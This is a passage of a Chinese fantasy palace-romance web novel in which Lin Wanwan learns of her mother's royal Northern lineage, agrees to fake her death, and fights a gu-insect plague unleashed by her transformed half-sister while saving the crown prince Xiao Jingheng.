她能清晰地看到萧景珩近在咫尺的薄唇,和他眼底几乎要将她吞噬的暗色。
这突如其来的、带着强烈侵略性的靠近,让她想起了温泉洞窟中那烙印灵魂的碰触。
“萧景珩!”
林绾绾有些恼怒的低斥,试图后退拉开距离,手腕却被猛地攥住。
萧景珩的手掌十分宽大,带着温凉的触感。
指腹的薄茧清晰地摩挲着林绾绾细腻的腕间皮肤。
那力量并不重,却带着一种不容挣脱的掌控感。
萧景珩看着林绾绾瞬间染上绯红的脸颊,以及那双因羞恼而更加明亮的眼眸,心底那股郁气又消散了几分,取而代之的是一种带着掠夺意味的满足感。
“回答孤。”他固执地追问,拇指的指腹在林绾绾的腕间细细摩挲。
细微的痒意如同电流,顺着林绾绾的手臂直窜心口。
心口处的火焰印记仿佛被唤醒,灼**跳动了一下。
“你…你在胡说什么?”
林绾绾被萧景珩无赖的举动和直白的问话弄得心慌意乱。
她用力想抽回手,却被握得更紧,“我是不想节外生枝!更不想让你伤上加伤!”
她急促的解释带着几分气恼的尾音,听在萧景珩耳中,却如同天籁。
萧景珩紧抿的唇角向上弯起一个极细微的弧度,眼底的冰寒被彻底融化,甚至染上了几分连他自己都未曾察觉的柔和暖意。
“放心。”他终于松开了手上的些许力道,但并未完全放开林绾绾的手,只是将她的手腕虚虚圈在自己的掌心。
他的声音恢复了平日的沉稳,却多了一丝纵容,“孤不会拿自己冒险,更不会…让你独自面对他。”
他顿了顿,目光扫过林绾绾手中紧握的卷轴。
“凝霜馆,孤不去。但血鸦阁的眼线,会替孤看着。青蚨也会寸步不离地跟着你。对方有任何异动,立刻撤离!”
这已经是他的底线,也是最大的让步。
林绾绾看着萧景珩那双不容置喙的眼眸,知道再争辩也是徒劳。
她垂下眼帘,轻轻点了点头,感受着手腕上那圈温凉而有力的“枷锁”,心底竟奇异地泛起安定的涟漪。
“好。”她低声道。
******
凝霜馆。名副其实。
这座位于皇宫西北角最偏僻之地的宫苑,处处透着挥之不去的阴冷湿气。
庭院里不见名贵花木,只有几株耐寒的松柏和一片萧瑟的枯竹。
空气中到处都是陈腐的木料气息和奇特的药草冷香。
林绾绾换上一身青蚨准备好的,毫
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不起眼的粗使宫女服饰,脸上也做了些易容修饰,掩去自己的容颜。
青蚨如同影子般紧跟在她身侧,气息收敛到极致。
引路的是一名同样沉默寡言、面容普通的北漠侍从。
他们穿过几道寂静得有些过分的回廊,在一扇紧闭的、雕刻着简单云纹的乌木门前停下,躬身示意。
门无声地滑开。
一股更加浓郁的、带着雪域冰原气息的冷冽药香扑面而来。
室内陈设极为简朴,甚至可以说是清冷。
一桌一椅,一榻一柜,皆是深色原木,线条硬朗。
唯一的亮色,是临窗长案上一只细长的白瓷瓶。
瓶中斜插着一枝已经枯萎的、却依旧保持着惊人姿态的金丝昙花!
花瓣边缘的金丝在窗外透入的惨淡天光下,泛着一种冷硬而诡异的光泽。
林绾绾看着这昙花,眸光骤缩!
皇宫内,这金丝昙花可是违禁物品,赫连灼就这么堂而皇之地将它养在这里?
是对自己的势力太过自信,还是有恃无恐…
赫连灼站在窗前,背对着门口。
他穿着一身暗银滚边的墨色窄袖长袍,身形挺拔如孤傲的雪松。
黑发用一根简单的银簪束起,衬得那异域轮廓愈发深刻。
他手指坚毅修长,手中正把玩着一支通体漆黑,泛着冰冷光泽的短笛。
听到脚步声,他缓缓转过身。
深邃的五官在昏暗光线下显得有些模糊,但那双琥珀色的眸子,却如同雪夜中的孤狼,锐利、冰冷,带着洞悉人心的穿透力,瞬间锁定了林绾绾。
赫连灼的目光在林绾绾易容的脸上和青蚨身上扫过,唇角带着一丝极淡的弧度,脸上的神情更是带着了然与深不可测的玩味。
“你来了。”
他的声音低沉悦耳,带着北漠独有的磁性腔调。
如同冰泉击石,在这清冷的室内回荡,听不出其中的喜怒。
“比本王预想的…要快了一些。”
他的视线,最终落在林绾绾紧抿的唇和那双沉静、却难掩戒备的眼眸上。
第70章 凝霜立契
凝霜馆内。
青蚨被人礼貌地“请”到了门外。
林绾绾定了定神,无视赫连灼极具压迫的眼神,开门见山地说:
“卷轴上的字,到底是什么意思?我的火焰印记和血脉之力…究竟是怎么回事?还有...”
林绾绾的语气越来越重,目光如炬,“你需要的那个承诺,到底是什么?”
一连串的质问,直指核心。
赫连灼并未立刻回答,而是缓步走到长案边,手指轻轻拂过那枯萎的金丝昙花,指尖在花瓣边缘的金丝上流转,动作带着一种近乎病态的专注和怀念。
“金丝昙花…在大胤宫廷视为不详,避之不及。”
他缓缓开口,带着一种追忆的悠然。
“但在漠北之地,在狼山圣湖之畔,它却是我金昙王庭的圣物,象征着光明、守护与王权血脉的纯净。”
他抬起眼,琥珀色的眸子如同寒潭,清晰地倒映着林绾绾骤然收缩的瞳孔。
“你并非大胤子民,你的母亲是我金昙王庭上一代,流落在外的圣公主——赫连云渊!”
他的声音如同重锤,一字一句敲在林绾绾的心上。
林绾绾只觉得脑海一片空白!
母亲…
那个记忆中温婉娴静、医术精湛,在牢中毅然触牢身亡的娘亲…
竟然是北漠金昙王庭的圣公主!
巨大的冲击让林绾绾身形微晃,脸色瞬间褪尽血色。
“这不可能…”林绾绾的声音带着颤抖,指甲深深陷入掌心,“我娘…她只是个普通的医女…”
“普通医女?”
赫连灼嗤笑一声,带着毫不掩饰的嘲讽:“普通医女能身怀巫医族最精纯的圣火血脉?普通医女能生下身怀血脉之力的圣女?普通医女…”
他的目光陡然变得锐利如刀,“能引来大胤皇帝的忌惮与…灭族之祸?”
“你说什么?灭族…之祸?”
林绾绾的心脏仿佛被一只冰冷的手狠狠攥紧!
林家满门抄斩的血色记忆瞬间涌入脑海!
难道…难道不仅仅是因为父亲知晓九皇子之死的真相?
难道…还因为母亲的**?
“二十多年前,漠北王庭内乱,圣公主赫连云渊为逼祸,携带王庭部分秘宝与传承,化名后流落大胤,嫁与你父亲林崇明。你父亲引以为傲的九转玲珑针就是来自圣公主!”
赫连灼声音冰冷地叙述着尘封的秘辛:“她以为能隐姓埋名,平安度日。可惜…她低估了大胤皇帝的贪婪与…对长生的执着!”
他猛地看向林绾绾,眼中迸发出强烈的恨意。
“萧胤不知从何处得知,金昙王庭圣女的圣血,融合漠北狼山的金丝昙花精华,乃是炼制他梦寐以求的长生蛊的最关键的药引!他像嗅到血腥的鬣狗,疯狂地搜寻圣公主的下落!”
赫连灼的声音如同淬毒的冰棱,“林崇明医术精湛,偶然间接触到了皇帝暗中用活人试验长生蛊的蛛丝马迹,已经触碰到了萧胤的禁忌,这就已经犯了必死之罪。”
“而更致命的是,他娶了圣公主!萧胤岂能容忍知晓他秘密,又身怀他长生关键药引的人活在世上?!”
林绾绾如遭雷击,踉跄着后退,直到靠在冰冷的墙壁上才勉强站稳!
林家临出事前,父亲书房里那些被焚毁的、关于诡异病方和丹方的只言片语…
母亲在牢中自尽前,紧紧抓着她的手,眼中深切的忧虑与欲言又止…
林家灭门前夕,府邸周围那些鬼祟不明的探子…
父亲临死前,眼中的空洞和他恳求自证清白,而大家置之不理的冷漠…
一切的一切,瞬间串联起来,指向一个残酷而血腥的真相!
林家灭门,血海深仇,根源竟在此处!
皇帝不仅要灭口,更要夺走母亲这个“药引”!
林绾绾只感觉喉头一口腥甜涌了上来,几乎压制不住。
“圣公主,在觉察到危险时,试图带你逃离。”
赫连灼眼中闪过复杂难辨的情绪,似是痛惜,又似愤怒。
“可惜,萧胤手下的‘影殿’组织如跗骨之蛆。为了保全你,圣公主只得…”
他没有继续说下去,但
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那未尽之意,如同最锋利的**,狠狠刺穿了林绾绾的心。
母亲…是为了保护她而死!
而父亲…至死都在守护这个秘密!
滔天的恨意如同岩浆,冲垮了林绾绾所有的理智。
她双目赤红,指甲深深陷入掌心,鲜血顺着指缝渗出。
周身的气息不受控制地剧烈波动,心口火焰印记爆发出灼目的金红光芒。
“萧!胤!”
林绾绾一字一顿,如同泣血的诅咒,饱含着刻骨的仇恨与杀意!
“冷静!”赫连灼厉喝一声,手中的黑玉短笛瞬间横在唇边!
一股带着罡正之风的凌厉气息的音波骤然荡开。
笛声尖锐凄厉,瞬间压制住林绾绾体内暴走的火焰之力。
林绾绾强烈波动的力量在笛声引导下,慢慢变得舒缓。
她借着笛声,压下翻腾的气血和杀意,但眼中燃烧的火焰却并未熄灭,反而沉淀为更加深沉的恨意!
她死死盯着赫连灼:“告诉我!那个承诺!你要我做什么?!”
赫连灼放下笛子,看着眼前这个被仇恨点燃,如同浴火凤凰般的女子,琥珀色的眼眸深处掠过满意。
这才是他要的圣女!
被血仇淬炼,拥有足够的力量与决心的…圣女!
“我要你…”
他缓缓开口,声音充满诱惑,如同魔鬼的低语。
“我要你,在萧胤下一次对你举起屠刀,要将你彻底置于死地之时…假死脱身!”
“假死?”林绾绾闻言瞳孔一缩,她敏锐地捕捉到了关键,“为什么?”
“因为时机!”赫连灼眼中寒光闪烁。
“萧胤的长生蛊炼制已到关键,他对你体内圣血的觊觎只会越来越疯狂!下一次杀局,必是雷霆万钧,力求一击毙命!这是他最疯狂,也最有可能露出致命破绽的时候!”
他向前一步,逼近林绾绾,带着强烈的压迫感。
“我要你在他自以为得逞的巅峰时刻,在他眼皮底下‘死去’!彻底斩断你在大胤的枷锁!然后…”
“随我回北漠!”
第71章 凝霜遇蛊
赫连灼定定的看着林绾绾,声音带着一种不容抗拒的力量。
“随我回北漠,回到王庭!那里有你母亲留下的完整传承,有解开你血脉全部力量的钥匙!更重要的是…”
他的目光变得无比锐利。
“只有在那里,我们才能整合力量,查清当年圣公主**的真相,揪出王庭内部的叛徒!最终向萧胤讨回这笔血债!”
回北漠!
回到母亲血脉的源头…
这无疑是她追寻力量与真相最快的途径。
但…萧景珩…
林绾绾的脑中瞬间闪过那双沉静,睿智,此刻必然布满担忧与监视的眼睛。
如果她“死”了…他会如何?
“你在担心萧景珩?”
赫连灼仿佛看穿了她的心思,唇角勾起一抹冰冷的嘲讽。
“你竟然担心那位深藏不漏的太子殿下?林绾绾,别忘了。他是萧胤的儿子!是大胤的储君!他身上留着萧氏皇族的血!”
“你与他,隔着林家上下七十三口的血海深仇!隔着圣公主的血债!”
“你确定,当他知道你的**,知道你金昙王庭圣女的立场时…他不会选择他的父皇和他的江山?”
赫连灼的每一个字都狠狠扎进林绾绾心底最脆弱、最不愿面对的地方。
萧景珩维护她的种种画面与父亲断头倒在血泊中的景象疯狂交织、撕扯,让她痛得几乎无法呼吸!
是啊!他是太子,是未来的皇帝!
他们之间,从一开始就横亘着无法逾越的天堑!
那点刚刚萌芽的情愫,在血仇与家国立场面前,脆弱得不堪一击!
赫连灼看着林绾绾瞬间惨白的脸色和眼中剧烈的挣扎,知道火候已到。
他放缓了语气,带着一种近乎蛊惑的意味:“假死,是你唯一能摆脱控制、追寻力量与真相的机会。”
“若你留下,你们注定对立!你让他如何在父亲与你之间抉择?让他背上弑父的罪名?还是眼睁睁看着你被他的父皇炼成药引?”
林绾绾痛苦地闭上眼。
赫连灼的话,虽然残酷,却精准地刺中了要害。
她与萧景珩,本就是两条注定相交又相悖的玩笑。
短暂的同行,不过是命运残酷的玩笑。
与其最终走向你死我活的绝境…
不如…趁早斩断!
一个决绝的念头,在她心底缓缓成型。
林绾绾深吸一口气,压下翻腾的情绪。
再睁开眼时,眸中只剩下冰封般的冷静与决断。
“好!我答应你!在皇帝下一次必杀之局中,我配合你假死脱身,随你回北漠。但在此之前,我要你手中所有关于皇帝长生阴谋和巫医族灭族的情报!作为…定金!”
林绾绾的眼神越发锐利,她眼睛一瞬不瞬地盯着赫连灼。
赫连灼眼中闪过得逞的光芒,毫不犹豫:“成交!”
他从怀中取出一枚小巧的碧玉令牌,上面雕刻着一朵栩栩如生的、盛开的金丝昙花,花蕊处镶嵌着一颗细小的冰魄石。
“这是金昙令。凭此令,可调动北漠安插在大胤的所有暗线,获取你需要的情报。”
他将令牌递向林绾绾,指尖不经意划过她的掌心,带来一丝冰凉的触感。
“至于情报…关于皇帝炼丹的核心之地就在…”赫连灼刚要将位置说出。
就在此时!
一声充满惊恐绝望的惨叫,刺破了凝霜馆死寂的空气,从不远处骤然传来!
林绾绾和赫连灼的脸色同时一变。
紧接着,一股阴寒、带着浓郁血腥和腐烂气息的诡异波动,瞬间弥漫开来。
所过之处,连空气都仿佛凝结了一层黏腻的冰霜。
凝霜馆窗外,几棵松柏竟以肉眼可见的速度迅速枯萎、发黑。
“是蛊虫!”
林绾绾感应到体内圣火之力的本能排斥和灼烧感!
这种气息…诡异,充满死寂!
与《天医策》中记载的,某种以活人精血豢养的至阴邪蛊极为相似!
赫连灼的琥珀色眼眸也变得无比凝重,他辨认着蛊毒传来的方向,失声道:“竟然是血吸瘟蛊!是蛊婆婆的手段!她的人…看来也是闻到圣血的味道,跟着一起来了!”
林绾绾心头警铃大作!
不管这个蛊婆婆是谁,都是来者不善,对她威胁太大!
她一把抓
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过赫连灼手中的金昙令塞入怀中,对在门口的青蚨急声大喝道:“走!”
两人结伴,快速冲出凝霜馆。
赫连灼看着她们二人消失在回廊尽头的背影,眼中寒芒闪烁,手指在短笛上缓缓收紧。
冷宫方向,阴寒死寂的气息如同不断扩散的墨团,笼罩着这片本就荒凉的宫苑。
风雨欲来,真正的杀机,已然降临!
而在林绾绾冲出凝霜馆的刹那,她并未注意到,在凝霜馆最高的飞檐一角,血瞳乌鸦,正无声地收拢了翅膀,冰冷的眼珠将下方发生的一切,尽收眼底。
出了凝霜馆,那股阴寒死寂的粘稠气息更加浓郁。
空气仿佛凝结了冰霜,吸入口鼻的气息都带着一股令人作呕的腥甜。
沿途所见,更是触目惊心!
宫墙角落、枯败的花草上,甚至青石板缝隙里,都爬满了密密麻麻、指甲盖大小、通体暗红如凝固血块的诡异虫子!
它们所过之处,草木发黑,连坚硬的石面都被腐蚀出细小的坑洞!
“小姐小心!”青蚨的声音带着罕见的凝重。
“这种血吸瘟蛊,以活人精血为食,专门散播腐瘟剧痛。沾之即溃,瞬间就会瘟毒入骨!这是北漠巫医早已失传的禁忌邪术!”
林绾绾的心沉到谷底。
看着蛊虫的数量和毒性,远超想象!
冷宫那些被遗忘的宫人…她不敢深想。
眼见蛊虫越逼越近。
“用火!蛊虫大多怕火!”林绾绾瞬间做出决断。
她深吸一口气,强行压下心头的惊悸与恶心,将怀中火折子点燃,扔向蛊虫堆。
火焰如同咆哮的巨龙,席卷了大片的蛊虫群。
“滋滋滋——!”
刺耳的爆裂声和焦糊味瞬间弥漫。
被火焰席卷的血吸瘟蛊发出凄厉的尖鸣,暗红甲壳在火焰中迅速碳化、崩解,化作缕缕带着腥臭的黑烟。
火焰所过之处,如同热刀横过,硬生生在密密麻麻的虫群中犁开两条焦黑的通道。
“走,先去栖梧苑避一避!”
林绾绾低喝一声,借着火焰开道,与青蚨朝着栖梧苑的方向疾驰而去。
第72章 再遇月瑶
冲入栖梧苑的瞬间,饶是林绾绾早有心理准备,也被眼前的景象震得心神剧震。
昔日虽荒凉却还算干净的庭院,此刻如同人间炼狱!
地面上覆盖着一层厚厚的、蠕动的暗红虫毯。
残破的窗棂上,枯死的树干上,到处都是密密麻麻的蛊虫。
空气中到处都是浓得化不开的血腥味和尸体腐烂的恶臭。
几个来不及逃走的粗使太监和宫女倒在地上,身体以肉眼可见的速度干瘪下去,皮肤上鼓起无数个蠕动的鼓包。
那是蛊虫在他们皮下疯狂吸**血!
他们的眼珠凸出,脸上定格着极致的惊恐与痛苦,喉咙里发出“嗬嗬”的漏气声,已然无法呼救。
更远处,几具尸体已经只剩下一层薄薄的人皮骨架。
暗红的蛊虫正从他们空洞的眼眶、口鼻中爬进爬出。
饶是青蚨这等见惯生死的暗卫,此刻也忍不住胃里翻腾。
林绾绾强忍着生理和心理的双重不适,迅速扫视全场。
当她眼光落到不远处的地方,瞳孔猛地一缩!
在庭院中央那口早已干涸的枯井旁,一个身着破旧桃红宫装的身影正背对着她们。
那个身影以一种极其怪异的姿势扭曲着。
轻微一动,身体就会发出“咯咯”的、令人牙酸的骨骼摩擦声。
身影缓缓地、僵硬地转过了头。
一张熟悉又陌生的脸映入林绾绾的眼帘。
竟然是林月瑶!
但眼前的林月瑶,早已变了样子。
她的脸呈现出一种诡异的青紫色,皮肤下隐隐有暗红色的细小脉络在蠕动,如同活物!
原本艳丽的五官已经扭曲变形。
眼白部分被浑浊的灰黄色占据,瞳孔缩成两个针尖般的黑点,里面充斥着无尽的怨毒、疯狂和一种非人的冰冷。
她的嘴唇乌紫干裂,嘴角残留着暗红色的血渍和一些肉沫碎屑。
更让人头皮发麻的是,她的指甲变得又长又尖,呈现出墨汁般的漆黑,上面还沾着新鲜粘稠的血液。
林月瑶怎么成了这副鬼样子?她不是已经死在天牢里了吗?
看这样子,她似乎是被练成了蛊人…
林绾绾心下大惊!
“嗬嗬…姐姐…”
林月瑶的喉咙里发出沙哑破碎的音节,如同破旧风箱的拉扯,每一个字都浸满了刻骨的恨意。
“你没死!可真好!”
她那双怨毒到极致的眼睛,死死锁着林绾绾。
嘴角咧开一个诡异的弧度,露出沾着血丝的牙齿。
“爹**…娘也自尽了…这一切都是因为你!”
她抬起那只沾满鲜血的漆黑手掌,指向林绾绾。
“师傅说…只要吃了你的心,我就能一直活着…”
话音刚落,林月瑶口中就发出一声非人的尖啸。
随着这声尖啸,她脚下那片密密麻麻的暗红蛊虫如同接到了指令的军队,骤然**!
如同汹涌的血色浪潮,铺天盖地朝着林绾绾和青蚨席卷而来!
速度比之前竟快了数倍。
空气中阴寒的蛊毒气息瞬间浓郁到令人窒息。
“小姐,小心!”
青蚨厉喝一声,手中的短匕瞬间出鞘,舞成一片密不透风的寒光,将扑到跟前的蛊虫绞碎。
但蛊虫数量实在太多,前赴后继,毫不畏死。
更有不少蛊虫如同跳蚤般高高弹起,试图越过**。
林绾绾眼神冰冷,心口的火焰印记灼热跳动。
她双手结印,体内融合冰火的全新力量毫无保留地爆发。
“九转玲珑针!离火燎原!”
咻咻咻——!
几道尾巴拖着金红火焰的银针,如同炽热的流星,瞬间从林绾绾指尖激射而出。
银针并非射向蛊虫,而是精准无比地钉入她自己的周身大穴。
一股磅礴浩瀚、带着净世焚邪意志的圣火力量,以林绾绾为中心轰然展开。
金红色的火焰如同实质的屏障,将她与青蚨牢牢护在其中。
领域之内,温度骤然升高,空气扭曲。
扑入领域的血吸瘟蛊如同飞蛾扑火,瞬间被焚成灰烬,连那粘稠阴寒的气息也被圣火之力强行净化、驱散。
“小姐的九转玲珑针…竟然可以运用《天医策》里所说的圣火之力…”
青蚨眼中闪过震惊与敬佩。
“嗬嗬…没用的…”
林月瑶发出嘶哑的怪笑,她那双浑浊的灰黄色眼珠死
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死盯着圣火领域,漆黑的指甲猛地划破自己的手掌。
一股散发着腥臭的暗紫色血液滴落出来。
“以吾之血…血饲万蛊…”
她将那股暗紫色污血猛地甩向圣火领域。
污血撞上金红火焰的瞬间,竟发出剧烈的腐蚀声。
一股更加污秽、充满死寂的气息爆发开来。
金红色的圣火领域竟硬生生腐蚀出一个缺口。
无数血吸瘟蛊如同闻到血腥味的鲨鱼,疯狂地从缺口处涌入。
圣火领域的净化之力,竟被这污秽的精血短暂压制了。
林绾绾脸色微白。
维持圣火领域的力量消耗巨大,此刻她更是受到反噬,嘴角不停地溢出鲜血。
眼看蛊虫即将突破防御!
就在这千钧一发之际!
一道玄色身影如同撕裂阴暗的闪电,带着凛冽的破空之声,骤然从天而降。
强大的气劲如同无形的巨锤,狠狠砸在汹涌的虫潮之上。
轰——!
气浪翻涌,无数蛊虫被震得粉身碎骨,粘稠的虫液四溅。
是萧景珩!
他玄色**袍在劲风中猎猎作响。
那双黑眸,此刻燃烧着足以焚毁一切的滔**火与冰冷杀意。
他的目光如同两道利刃,狠狠钉在正疯狂催动污血的林月瑶身上。
“孽畜!找死!”
冰冷的声音带着实质般的杀意。
他身形未动,左手却快如闪电般抬起。
血鸦令牌如同索命的符咒,裹胁着撕裂空气的尖啸,精准无比地射向林月瑶的心口。
这一击,快!狠!绝!蕴含着血鸦阁主必杀的意志!
林月瑶那双浑浊的眼中终于闪过一丝源自本能的恐惧。
她怪叫一声,下意识地想要躲避,身体却因催动血液过多而僵硬迟滞。
噗嗤!血光迸溅!
血鸦令巨大的冲击力带着她倒飞出去,重重撞在枯井坚硬的石壁上。
“呃啊——!”
林月瑶发出凄厉到不似人声的惨嚎。
粘稠的暗紫色血液如同喷泉般从她肩头伤口涌出。
那血液带着强烈的腐蚀性,溅落在枯井的石壁上,发出“滋滋”的声响,冒出缕缕青烟。
第73章 冷宫蛊灾
林月瑶身上的蛊虫如同受到惊吓,瞬间躁动起来。
一部分疯狂地涌向她的伤口,似乎想堵住流血,另一部分则更加疯狂地扑向萧景珩。
“殿下小心!”青蚨失声惊呼!
那些蛊虫受到林月瑶气息的感染,变得更加阴毒狂暴。
萧景珩置若罔闻。
他眼中只有那个要伤害到林绾绾的怪物。
他身形一晃,如同鬼魅般出现在林月瑶身前,毫不留情地就要抓向林月瑶的天灵盖。
“萧景珩!别碰她!她身上都是蛊毒!”
林绾绾的惊呼声响起,带着强烈的示警。
萧景珩的动作骤然一顿,凌厉的爪风在林月瑶头顶三寸处硬生生停住。
他侧头看向林绾绾,眼中带着一丝询问。
就在这电光火石间的停顿中,异变陡生!
看似重伤濒死、蜷缩在地的林月瑶,那双怨毒浑浊的眼睛里,闪过隐晦、狡诈与疯狂的光芒。
她完好的右手,漆黑的指甲不知何时已悄然染上了一层更加深邃,如同活物般流动的暗红色!
“去!死!吧!”
那只染着诡异暗红的毒掌,带着同归于尽的疯狂。
她并非直接拍向近在咫尺的萧景珩,而是猛地拍向地面。
“嘭!”
一声闷响!
地面以她手掌为中心,瞬间皲裂。
一股更为浓郁的蛊毒瘴,从地缝中喷涌而出。
这种烟雾扩散的速度快得惊人,带着一种强烈的麻痹感与侵蚀神魂的诡异力量。
首当其冲受到侵害的,就是距离最近的萧景珩!
“唔!”萧景珩闷哼一声!
他虽然反应极快,在烟雾爆开的瞬间便屏息急退,但依旧还是吸入了一丝!
那气息瞬间钻入肺腑,一股强烈的眩晕感和经脉迟滞感猛地袭来。
更可怕的是,他心口那处被压制的玄冥寒毒,竟被这诡异的烟雾引动,如同沉睡的凶兽被惊醒,在他经脉中狂暴冲突起来。
一口逆血,不受控制地从萧景珩口中喷出,脸色瞬间由苍白转为骇人的青灰。
“萧景珩!”林绾绾的心瞬间提到嗓子眼!
她看得分明,那烟雾绝非寻常!
是《天医策》中记载的、专门侵蚀骨髓,引爆体内旧患的“蚀魂引”剧毒。
再配合上林月瑶那蕴含污浊蛊力的毒掌,威力倍增!
萧景珩本就重伤未愈,体内寒毒对上这“蚀魂引”更是大忌!
林月瑶看着萧景珩吐血的样子,发出疯狂而快意的怪笑。
“青蚨!拦住蛊虫!”
林绾绾厉声下令,同时不顾一切的冲向摇摇欲坠的萧景珩。
圣火领域在她移动间迅速收缩,将两人护在核心。
她一把扶住萧景珩冰冷沉重的身体,入手是一片黏腻的温热!
她的心狠狠揪痛!
“别…管我…先杀了林月瑶…”
萧景珩的声音虽嘶哑虚弱,却带着杀意。
他黑眸死死盯着枯井旁的林月瑶,眼中是滔天的怒火与后怕。
刚才若非是林绾绾的提醒,他提前有了心理准备...他不敢再想下去。
“闭嘴!”
林绾绾低吼一声,强行将萧景珩沉重的身体半抱半拖地拖离毒雾弥漫的中心,将他安置在一块相对干净、圣火领域守护最严实的后墙。
“青蚨,**!”她手上动作没停,头也不回地命令道。
青蚨短匕翻飞,持续将扑来的蛊虫绞杀,死死守住这片小小的安全区域。
林绾绾迅速检查萧景珩的状况。
脉象紊乱狂暴,玄冥寒毒在蚀魂引的刺激下,如同脱缰的冰龙在他经脉中胡乱冲撞。
寒毒与蚀魂引的毒素交织,侵蚀着他的心脉和神智。
他的意识已经有些模糊,唯有那双黑眸依旧死死睁着,固执地看向枯井方向,带着深切的担忧和后怕——
他在怕林绾绾像他一样受到伤害!
林月瑶此刻如同破布娃娃,摊在血泊与血尸之中,气息奄奄。
但那双怨毒的眼睛依旧死死盯着林绾绾,嘴角挂着疯狂而扭曲的笑意,仿佛在欣赏她的痛苦。
“林!月!瑶!”
林绾绾一字一顿,声音冰冷刺骨。
她缓缓站起身,周身的气势陡然一变。
林绾绾心口的火焰印记爆发出前所未有的璀璨光芒。
她周身力量不再是之前防御时的内敛圣洁,而是
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充满了焚尽世间万物,毁灭一切的暴戾与杀机!
她将体内的力量催动到极致,插在她身体穴位上的银针嗡鸣震颤,尾部金红火焰暴涨!
咻!咻!咻!
林绾绾身上的九转玲珑针从穴位上脱离。
几根燃着毁灭之焰的银针,如同几柄来自天罚的审判之剑,撕裂空气,带着林绾绾滔天的怒火射向林月瑶周身死穴!
这一次,不再是净化,而是纯粹的毁灭!
“不--!”
林月瑶眼想要挣扎,却发现自己连动一动手指的力气都没有。
时间仿佛凝固了一瞬。
下一秒!
一股浓郁的“黑雾”从不远处袭来。
“黑雾”发出窸窸窣窣的声音。
到近处才发现,那是由不同的蛊群汇聚而成。
它们笼罩在林月瑶四周,将林绾绾的银针与杀机隔绝在外。
待“黑雾”散去,原地只剩下一个焦黑的浅坑,和令人心悸的焦糊气息。
“我…一定会…再回来…找你的…”
林月瑶的声音在空气中回荡。
祸首离开,蛊虫失去了源头,瞬间如同无头苍蝇般乱窜,被青蚨迅速绞杀干净。
栖梧苑内,死一般的寂静。
只有火焰燃烧的余烬发出细微的噼啪声。
林绾绾看也不看那焦黑的浅坑,转身扑到萧景珩身边。
此刻,萧景珩身体冰冷僵硬,一层薄薄的白霜正在以肉眼可见的速度在他眉梢鬓角凝结。
“萧景珩!撑住!”
林绾绾迅速捻起三根最长的九转玲珑针,快如闪电般刺入萧景珩胸前膻中、巨阙、神封三处大穴!
针尾轻颤,一股温润的力量瞬间注入,强行护住萧景珩几近停滞的心脉。
林绾绾不敢有丝毫放松。
她盘膝坐在萧景珩身后,双掌抵住他冰冷刺骨的后心。
体内融合冰火的全新力量毫无保留地、如同涓涓细流般渡入萧景珩混乱的经脉。
这一次不再是引毒,而是疏导!
林绾绾的力量小心翼翼地探入萧景珩的体内,梳理着他千疮百孔的经络,将狂暴的寒毒一丝丝地安抚。
时间在无声的救治中缓缓流逝。
第74章 金昙疑云
不知过了多久,天色暗沉下来。
萧景珩体内狂暴的寒毒终于被渐渐安抚,重新蛰伏回心口附近。
他眉梢鬓角的冰霜缓缓融化,呼吸也变得悠长平稳了许多。
虽然依旧微弱,但那股令人心悸的死气已然散去。
林绾绾长长舒了一口气,收回抵在萧景珩后心的手掌,身体虚弱地晃了晃。
就在这时,一只冰冷却有力的手,猛地握住了她尚未完全收回的手腕。
林绾绾一惊,低头一看。
萧景珩不知何时已经睁开了眼。
那双黑眸带着未散的混沌,但却紧紧锁定着林绾绾。
眸底深处带着深沉的担忧和后怕。
“绾绾…”
萧景珩声音嘶哑得厉害,几乎只剩气音,握着她的手腕异常用力,仿佛一松手她就会消失一般。
“你…没事…对吧…”
每一个字都仿佛用尽了力气。
看着他眼中那浓得化不开的担忧,感受着手腕上传来的、带着生命力的冰冷温度,林绾绾的心像是被最柔软的东西狠狠撞了一下。
酸涩,温暖,又带着难以言喻的悸动。
方才的惊险、愤怒、后怕,在这一刻似乎都找到了宣泄的出口。
“我没事。”
林绾绾反手轻轻握住萧景珩冰冷的手,试图用自己的温度去温暖她,声音里带着自己都未察觉的温柔和一丝哽咽,“你感觉怎么样了?”
“无妨。”
萧景珩艰难扯了扯嘴角,想给她一个安抚的笑容,却似乎是牵动了内伤,闷咳了几声。
苍白的脸上迅速泛起不正常的潮红。
他的目光依旧贪婪地停留在林绾绾的脸上,仿佛怎么也看不够。
握着林绾绾的手紧了又紧,带着一种失而复得的珍视。
“方才…吓到孤了…”
萧景珩的声音很低,带着一丝不易察觉的脆弱,“那毒瘴…若**的是你…”
他没有说下去,但眼底翻涌的后怕与恐惧,比任何言语都更有力量。
林绾绾的心彻底软成了一汪水。
这个强大、深沉、算无遗策的男人,此刻却因为她,毫不掩饰地流露出最真实的恐惧。
林绾绾低下头,用额头轻轻抵住萧景珩冰冷的手背,感受着他微弱的脉搏,声音轻而坚定:“我没事,你也要快点好起来。”
两人依偎在断墙的阴影下,劫后余生的静谧在血腥与焦糊气息中弥漫开来。
萧景珩的意识似乎又有些模糊,眼皮沉重地阖上,但握着林绾绾的手却始终没有松开,仿佛那是他唯一能抓住的浮木。
林绾绾看着萧景珩沉睡中依旧紧蹙的眉峰和苍白的脸,心疼得无以复加。
林绾绾小心地调整着姿势,让萧景珩靠在自己肩头更舒服些。
就在这时,她怀中一个硬物硌了两人一下。
是那枚金昙令!
林绾绾心头猛地一跳。
方才情急之下,她竟忘了这要命的东西!
若是被萧景珩发现…
她下意识地想去遮掩,但已经晚了。
靠在她肩头的萧景珩,似乎被这细微的动作惊动,浓密的睫毛颤动了一下,再度缓缓掀开一道缝隙。
他的眼睛,恰好落在林绾绾因动作而微微敞开的衣襟处——
那枚雕刻着盛放金丝昙花、镶嵌冰魄石的碧色令牌,它的一角正好露了出来!
萧景珩的瞳孔,在看清那令牌上金昙图案的瞬间,骤然收缩!
空气仿佛凝固成了坚冰。
萧景珩的黑眸,此刻锐利得如同出鞘的寒刃,带着冰冷的审视,死死盯着令牌上的花纹。
金昙令!
北漠金昙王庭最高等级的信物!
象征着王庭血脉的权柄与…立场!
一股难以言喻的冰冷风暴,裹挟着震惊和被欺瞒的狂怒,瞬间席卷了萧景珩的胸腔。
方才劫后余生的那点温情与激动,如同被投入冰窟的火星,顷刻熄灭!
他重伤未愈的身体猛地绷紧,伤口的疼痛让他闷哼出声。
可这疼痛,却远不及心口翻涌的冰冷与猜疑来得强烈!
“咳….”
萧景珩猛地呛咳出声,握着林绾绾手腕的手却如同铁钳般慢慢收紧!
